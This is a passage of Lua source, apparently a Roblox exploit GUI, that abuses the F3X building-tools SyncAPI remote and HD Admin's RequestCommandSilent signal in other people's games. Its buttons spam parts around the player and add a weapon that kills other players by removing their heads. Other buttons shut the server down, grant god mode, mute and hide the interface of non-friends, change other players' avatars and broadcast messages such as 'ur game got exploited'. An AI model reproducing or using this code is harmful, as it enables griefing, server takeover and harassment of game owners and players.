					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end

		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
			return
		end

		local remote = f3x.SyncAPI.ServerEndpoint

		local function call(a)
			return remote:InvokeServer(unpack(a))
		end

		while wait(0.05) do
			task.spawn(function()
				local e = char.HumanoidRootPart.CFrame.x + math.random(-500, 500)
				local f = char.HumanoidRootPart.CFrame.y
				local g = char.HumanoidRootPart.CFrame.z + math.random(-500, 500)

				local particle = remote:InvokeServer("CreatePart", "Normal", CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)

				call({ "SyncMaterial", { { Part = particle, Transparency = 1 } } })
				call({
					"SyncResize",
					{{
						Part = particle,
						Size = Vector3.new(50, 50, 0),
						CFrame = particle.CFrame
					}}
				})
				call({ "SetName", { particle }, "koolaid" })
				call({ "SetLocked", { particle }, true })

				call({ "CreateTextures", { { Part = particle, Face = Enum.NormalId.Front, TextureType = "Decal" } } })
				call({ "SyncTexture", { { Part = particle, Face = Enum.NormalId.Front, TextureType = "Decal", Texture = assetId } } })

				call({ "CreateTextures", { { Part = particle, Face = Enum.NormalId.Back, TextureType = "Decal" } } })
				call({ "SyncTexture", { { Part = particle, Face = Enum.NormalId.Back, TextureType = "Decal", Texture = assetId } } })

				while wait(0.01) do
					call({ "SyncMove", { { Part = particle, CFrame = CFrame.new(particle.CFrame.x,particle.CFrame.y + 10,particle.CFrame.z) * CFrame.Angles(math.random(0,1), math.random(0,1), math.random(0,1)) } } })
				end
			end)
		end
	end)
end;
task.spawn(C_46);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_48()
	local script = G2L["48"];
	local button = script.Parent
	button.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
		local character = player.Character
		local player = game.Players.LocalPlayer
		local char = player.Character
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local backpack = player.Backpack
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end
		-- get all info
		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer
		local function findTools()
			local char = player.Character or player.CharacterAdded:Wait()
			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end
		local tool = findTools()
		if not tool then return end
		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end
		local function rainPickle(pos)
			local a = remote:InvokeServer("CreatePart", "Normal", pos, workspace)
			call({ "SyncAnchor", { { Part = a, Anchored = false } } })
			call({ "SetName", { a }, "a" })
			call({ "CreateMeshes", { { Part = a } } })
			call({ "SetLocked", { a }, true })
			call({
				"SyncMesh",
				{{
					Part = a,
					MeshId = "rbxassetid://96465612579446",
					TextureId = "rbxassetid://105374520200274",
					Scale = Vector3.new(50, 50, 50)
				}}
			})
			call({ "SyncCollision", { { Part = a, CanCollide = false } } })
		end
		task.spawn(function()
			while true do
				task.wait(0.1)
				local hrpcf = player.Character.HumanoidRootPart.CFrame
				local x = hrpcf.x
				local z = hrpcf.z
				local randint = math.random(-600, 600)
				local randint2 = math.random(-600, 600)
				local xloc = randint + x
				local zloc = randint2 + z
				local cf = player.Character.HumanoidRootPart.CFrame.y + 400
				task.spawn(function()
					--no no no pickle noonooononnoononon pickle nonoonnonoonnonoon
					rainPickle(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
				end)
			end
		end)
	end)
end;
task.spawn(C_48);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_4a()
	local script = G2L["4a"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		--blue is too spooky made this, credits to him even if i hate him

		rq=game.ReplicatedStorage.HDAdminHDClient.Signals.RequestCommandSilent

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}

			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)

		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function mat(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}

			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
		function clone(part,parent)
			local args = {
				[1] = "Clone",
				[2] = {
					[1] = part
				},
				[3] = parent
			}

			return remote:InvokeServer(unpack(args))
		end
		function SetMeshType(part, meshType)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshType"] = meshType
					}
				}
			}
			_(args)
		end
		rq:InvokeServer(";title me " ..player.DisplayName.."'s i0rb")


		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local humanrFr = char:WaitForChild("HumanoidRootPart")
		local angle = 0
		local radius = 6
		local heightOffset = 2

		local cf = humanrFr.CFrame * CFrame.new(radius, heightOffset, 0)
		local pad = remote:InvokeServer("CreatePart", "Ball", cf, workspace)
		clone(char.Head,pad)

		rq:InvokeServer(";untitle")
		spawn(function()
			Resize(pad, Vector3.new(1, 1, 1), cf)
		end)
		spawn(function()
			SetAnchor(true, pad)
		end)
		spawn(function()
			mat(pad, Enum.Material.Neon)
		end)
		spawn(function()
			SetCollision(pad, false)
		end)
		spawn(function()
			SetName(pad, "Orbit-(Green2spookified-Version)")
		end)
		spawn(function()
			AddMesh(pad)
		end)
		spawn(function()
			SetMeshType(pad, "Sphere")
		end)
		spawn(function()
			MeshResize(pad, Vector3.new(1, 1, 1))
		end)
		spawn(function()
			Color(pad, Color3.fromRGB(0, 0, 0))
		end)

		local name = pad.Head
		spawn(function()
			SetAnchor(true, name)
		end)
		spawn(function()
			SetTrans(name, 1)
		end)
		spawn(function()
			DestroyPart(name.face)
		end)
		spawn(function()
			SetCollision(name, false)
		end)


		local radius = 5
		local speed = 2
		local t = 0

		game:GetService("RunService").RenderStepped:Connect(function(deltaTime)
			if pad and humanrFr then
				t = t + deltaTime * speed

				local x = math.cos(t) * radius
				local y = math.sin(t * 1.5) * radius * 0.5
				local z = math.sin(t) * radius

				local offset = Vector3.new(x, y, z)
				local newCF = CFrame.new(humanrFr.Position + offset)
				spawn(function()
					spawn(function()
						MovePart(pad, newCF)
					end)
					spawn(function()
						MovePart(name, newCF)
					end)
				end)
			end
		end)
		local e = CFrame.new(0,0,0)

		while true do
			if char.Humanoid.Health == 0 then return end
			spawn(function()
				local p2 = remote:InvokeServer("CreatePart", "Normal", e, pad)

				spawn(function()
					Resize(p2, Vector3.new(0.3, 0.3, 0.3), pad.CFrame)
				end)
				spawn(function()
					SetAnchor(true, p2)
				end)
				spawn(function()
					SetCollision(p2, false)
				end)
				spawn(function()
					Color(p2, Color3.fromRGB(0, 0, 0))
				end)
				spawn(function()
					SetTrans(p2, 0.3)
				end)
				spawn(function()
					mat(p2, Enum.Material.Neon)
				end)
				wait(0.5)
				DestroyPart(p2)
			end)
			wait(0.0005)
		end

	end)
end;
task.spawn(C_4a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_4c()
	local script = G2L["4c"];
	script.Parent.MouseButton1Click:Connect(function()
		---remade it myself, credits to roadblocks!

		local TweenService = game:GetService("TweenService")
		local player = game.Players.LocalPlayer
		local character = player.Character
		local player = game.Players.LocalPlayer
		local mouse = player:GetMouse()
		local holding = false
		local equipped = false
		local char = player.Character
		local hum = char.Humanoid
		local hed = char.Head
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then tool = v.Parent end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then tool = v.Parent end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args) remote:InvokeServer(unpack(args)) end
		function SetCollision(part,boolean)
			local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } }
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } }
			_(args)
		end
		function CreatePart(cf,parent)
			local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent }
			_(args)
		end
		function DestroyPart(part)
			local args = { [1] = "Remove", [2] = { [1] = part } }
			_(args)
		end
		function MovePart(part,cf)
			local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } }
			_(args)
		end
		local TweenService = game:GetService("TweenService")
		function smoothMove(part, cf)
			tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Linear)
			local tween = TweenService:Create(part, tweenInfo, {CFrame = cf})
			tween:Play()
			tween.Completed:Connect(function()
				local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } }
				_(args)
			end)
		end
		function Resize(part,size,cf)
			local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } }
			_(args)
		end
		function AddMesh(part)
			local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } }
			_(args)
		end
		function reflect(part,int)
			local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Reflectance"] = int } } }
			_(args)
		end
		function SetMesh(part,meshid,offset)
			local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid, ["Offset"] = offset } } }
			_(args)
		end
		function SetTexture(part, texid)
			local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } }
			_(args)
		end
		function breakWelds(part)
			local welds = {}
			for _, weld in ipairs(part:GetDescendants()) do
				if weld:IsA("WeldConstraint") or weld:IsA("Weld") or weld:IsA("Motor6D") then
					table.insert(welds, weld)
				end
			end
			if #welds == 0 then return false end
			local args = { "RemoveWelds", welds }
			_(args)
			return true
		end
		function SetName(part, stringg)
			local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg }
			_(args)
		end
		function MeshResize(part,size)
			local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } }
			_(args)
		end
		local function light(part,color)
			local createArgs = { "CreateLights", { { Part = part, LightType = "PointLight" } } }
			local syncArgs = { "SyncLighting", { { Part = part, LightType = "PointLight", Color = Color3.new(1,1,0), Brightness = 10000000, Range = 2, } } }
			spawn(function() _(createArgs) end)
			spawn(function() _(syncArgs) end)
		end
		function Weld(part1, part2,lead)
			local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead }
			_(args)
		end
		function SetLocked(part,boolean)
			local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean }
			_(args)
		end
		function SetTrans(part,int)
			local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } }
			_(args)
		end
		function CreateSpotlight(part)
			local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } }
			_(args)
		end
		function playSFX(id,parent)
			local SFX = Instance.new('Sound',parent)
			SFX.Volume = 10
			SFX.SoundId = "rbxassetid://" ..id
			SFX:Play()
		end
		function SyncLighting(part,brightness)
			local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } }
			_(args)
		end
		function Color(part,color)
			local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } }
			_(args)
		end
		function SpawnDecal(part,side)
			local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } }
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } }
			_(args)
		end
		function KillTarget(target)
			if target and target.Character then
				local head = target.Character:FindFirstChild("Head")
				if head then
					local args = { [1] = "SetLocked", [2] = { [1] = head }, [3] = false }
					_(args)
					task.wait(0.1)
					local args2 = { [1] = "Remove", [2] = { [1] = head } }
					_(args2)
					spawn(function()
						local blood = remote:InvokeServer("CreatePart","Normal",head.CFrame,head)
						spawn(function() Resize(blood,Vector3.new(.2,.2,.2),blood.CFrame) end)
						spawn(function() Color(blood,Color3.new(1,0,0)) end)
						spawn(function() SetAnchor(false,blood) end)
					end)
					spawn(function()
						local blood = remote:InvokeServer("CreatePart","Normal",head.CFrame,head)
						spawn(function() Resize(blood,Vector3.new(.2,.2,.2),blood.CFrame) end)
						spawn(function() Color(blood,Color3.new(1,0,0)) end)
						spawn(function() SetAnchor(false,blood) end)
					end)
					spawn(function()
						local blood = remote:InvokeServer("CreatePart","Normal",head.CFrame,head)
						spawn(function() Resize(blood,Vector3.new(.2,.2,.2),blood.CFrame) end)
						spawn(function() Color(blood,Color3.new(1,0,0)) end)
						spawn(function() SetAnchor(false,blood) end)
					end)
					spawn(function()
						local blood = remote:InvokeServer("CreatePart","Normal",head.CFrame,head)
						spawn(function() Resize(blood,Vector3.new(.2,.2,.2),blood.CFrame) end)
						spawn(function() Color(blood,Color3.new(1,0,0)) end)
						spawn(function() SetAnchor(false,blood) end)
					end)
				end
			end
		end
		local gun = remote:InvokeServer("CreatePart","Normal",CFrame.new(0,0,0),char)
		spawn(function() AddMesh(gun) end)
		spawn(function() SetMesh(gun,"4711605382", Vector3.new(0, 0.3, -1.3)) end)
		spawn(function() SetTexture(gun,"4711605902") end)
		spawn(function() SetName(gun,"dev uzi") end)
		spawn(function() SetCollision(gun,false) end)
		spawn(function() MeshResize(gun, Vector3.new(0.05,0.05,0.05)) end)
		spawn(function() MovePart(gun, char["Right Arm"].CFrame * CFrame.Angles(math.rad(90), math.rad(180), math.rad(-90))) end)
		spawn(function() Weld(gun,char["Right Arm"],gun) end)
		spawn(function() SetAnchor(false,gun) end)
		spawn(function() SetTrans(gun,1) end)
		local dev = Instance.new('Tool',player.Backpack)
		dev.Name = "Dev Uzi"
		dev.RequiresHandle = false
		hold=Instance.new('Animation')
		hold.AnimationId='rbxassetid://182393478'
		hoId=char.Humanoid:LoadAnimation(hold)
		hoId.Looped=true
		dev.Equipped:Connect(function()
			SetTrans(gun,0)
			hoId:Play()
			equipped = true
		end)
		dev.Unequipped:Connect(function()
			SetTrans(gun,1)
			hoId:Stop()
			equipped = false
			holding = false
		end)
		mouse.Button1Down:Connect(function()
			if not equipped then return end
			holding = true
			while holding and equipped do
				local char = player.Character
				if char and char:FindFirstChild("HumanoidRootPart") and mouse.Hit then
					local hrp = char.HumanoidRootPart
					local targetPos = Vector3.new(mouse.Hit.p.X, hrp.Position.Y, mouse.Hit.p.Z)
					spawn(function()
						light(gun)
						wait(0.01)
						for i,v in gun:GetDescendants() do
							if v:IsA("PointLight") then
								DestroyPart(v)
							end
						end
					end)
					hrp.CFrame = CFrame.new(hrp.Position, targetPos)
				end
				task.wait(0.1)
			end
		end)
		mouse.Button1Up:Connect(function()
			holding = false
		end)
		spawn(function()
			while true do
				if hum.Health == 0 then holding = false end
				wait(0.005)
			end
		end)
		local Players = game:GetService("Players")
		local UserInputService = game:GetService("UserInputService")
		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()
		local function onCharacterAdded(newCharacter)
			character = newCharacter
		end
		player.CharacterAdded:Connect(onCharacterAdded)
		local function onMouseClick()
			if equipped == false then return end
			if not character then return end
			local mouse = player:GetMouse()
			local target = mouse.Target
			if not target then return end
			local model = target:FindFirstAncestorOfClass("Model")
			if not model then return end
			local targetPlayer = Players:GetPlayerFromCharacter(model)
			if targetPlayer then KillTarget(targetPlayer) end
		end
		UserInputService.InputBegan:Connect(function(input, gameProcessed)
			if gameProcessed then return end
			if input.UserInputType == Enum.UserInputType.MouseButton1 then
				onMouseClick()
			end
		end)

	end)

end;
task.spawn(C_4c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_4e()
	local script = G2L["4e"];
	local button = script.Parent
	local targetName = "home" 

	button.MouseButton1Click:Connect(function()

		local container = button.Parent 

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_4e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_50()
	local script = G2L["50"];
	local button = script.Parent
	local targetName = "f3x"

	button.MouseButton1Click:Connect(function()

		local container = button.Parent 

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_50);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_53()
	local script = G2L["53"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";forceplace all no id yet")

	end)

end;
task.spawn(C_53);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_55()
	local script = G2L["55"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";btools ;give me b ;buildingtools ;f3x")

	end)

end;
task.spawn(C_55);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_57()
	local script = G2L["57"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";r6 me")

	end)

end;
task.spawn(C_57);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_59()
	local script = G2L["59"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";systemmessage [SYSTEM] Green2Spooky owns u LOL")
		RequestCommand:InvokeServer(";systemmessage [SYSTEM] Green2Spooky was here!")
		RequestCommand:InvokeServer(";systemmessage [SYSTEM] Green2Spooky hacked ur game, LOL")

	end)

end;
task.spawn(C_59);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_5b()
	local script = G2L["5b"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";hideguis nonfriends;uncmdbar2 nonfriends ;mute nonfriends")

	end)

end;
task.spawn(C_5b);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_5d()
	local script = G2L["5d"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";sm Join team Green2Spooky today!")

	end)

end;
task.spawn(C_5d);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_5f()
	local script = G2L["5f"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";sh Join Team Green2Spooky today!")

	end)

end;
task.spawn(C_5f);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_61()
	local script = G2L["61"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";shutdown")

	end)

end;
task.spawn(C_61);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_63()
	local script = G2L["63"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";titleg me Green2Spooky")

	end)

end;
task.spawn(C_63);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_65()
	local script = G2L["65"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";gear me 115377964")

	end)
end;
task.spawn(C_65);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_67()
	local script = G2L["67"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";sm ur game got exploited by Green2Spooky!")

	end)
end;
task.spawn(C_67);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_69()
	local script = G2L["69"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";sh ur game got exploited by Green2Spooky!")

	end)
end;
task.spawn(C_69);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_6b()
	local script = G2L["6b"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";god")

	end)
end;
task.spawn(C_6b);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_6d()
	local script = G2L["6d"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";loadmap")

	end)
end;
task.spawn(C_6d);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_6f()
	local script = G2L["6f"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";r6 others ;char others PixelGreenBugged ;titleg others Green2Spooky's personal worker")

	end)
end;
task.spawn(C_6f);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
local function C_71()
	local script = G2L["71"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";savemap")

	end)
end;
task.spawn(C_71);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_73()
	local script = G2L["73"];
	local button = script.Parent
	local targetName = "hd edmin woohoo" 

	button.MouseButton1Click:Connect(function()

		local container = button.Parent

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_73);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_76()
	local script = G2L["76"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()
		local RunService = game:GetService("RunService")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandModification


		local Players = game:GetService("Players")

		local UserInputService = game:GetService("UserInputService")

		if not character:FindFirstChild('Accessory (KNIF4ELERFTAccessory)') or character:FindFirstChild("Accessory (Knife McGrabbington III)") then
			ready = false

			local function notify(msg)
				local MainGUI = player:FindFirstChild("PlayerGui"):FindFirstChild("MainGUI")
				if not MainGUI then
					MainGUI = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
					MainGUI.Name = "MainGUI"
				end

				coroutine.wrap(function()
					for _, v in pairs(MainGUI:GetChildren()) do
						if v:IsA("TextLabel") then v:Destroy() end
					end

					local TextLabel = Instance.new("TextLabel")
